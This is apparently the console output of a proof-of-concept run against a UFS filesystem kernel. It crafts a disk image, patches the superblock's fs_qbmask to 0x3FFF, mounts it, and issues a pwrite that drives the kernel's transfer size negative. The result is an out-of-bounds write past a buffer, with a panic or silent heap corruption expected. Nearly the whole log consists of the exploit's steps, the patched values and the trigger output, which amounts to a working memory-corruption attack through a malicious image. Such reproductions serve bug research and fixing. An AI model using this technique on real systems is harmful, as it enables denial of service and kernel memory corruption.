=== BUILD craft_img ===
=== BUILD trigger ===
=== CREATE base UFS image (fs_bsize=8192) ===
=== PATCH fs_qbmask -> 0x3FFF ===
BEFORE PATCH:
  fs_bsize    = 8192 (0x2000)
  fs_bmask    = 0xffffe000
  fs_bshift   = 13
  fs_inodefmt = 2 (FS_44INODEFMT=2; >=2 means on-disk qbmask used verbatim)
  fs_qbmask   = 0x0000000000001fff  (~fs_bmask = 0x00001fff)
AFTER PATCH:
  fs_qbmask   = 0x0000000000003fff
  => blkoff(offset) = offset & 0x3fff
  => xfersize = fs_bsize - blkoffset can go NEGATIVE for offset & 0x3fff >= 8192
  demo: write at offset 10240 => blkoffset=10240, xfersize=-2048
wrote img_qbmask3fff.img (4194304 bytes)
-rw-r--r--  1 root  wheel  4194304 Jul  7 05:36 img_qbmask3fff.img
=== MOUNT crafted image RW ===
MOUNT_RC=0
=== FIRE TRIGGER (pwrite at offset 10000 -> expect panic) ===
[trigger] opened /mnt/test/target fd=3
[trigger] pwrite offset=10000 len=16
[trigger] crafted fs_qbmask=0x3FFF => blkoffset=offset&0x3FFF=10000
[trigger] expected kernel: xfersize = 8192 - 10000 = -1808 (NEGATIVE)
[trigger] expected kernel: bp->b_data + 10000 is 1808 bytes PAST 8192B buffer
[trigger] => OOB uiomove => expect panic (INVARIANTS) or silent heap corruption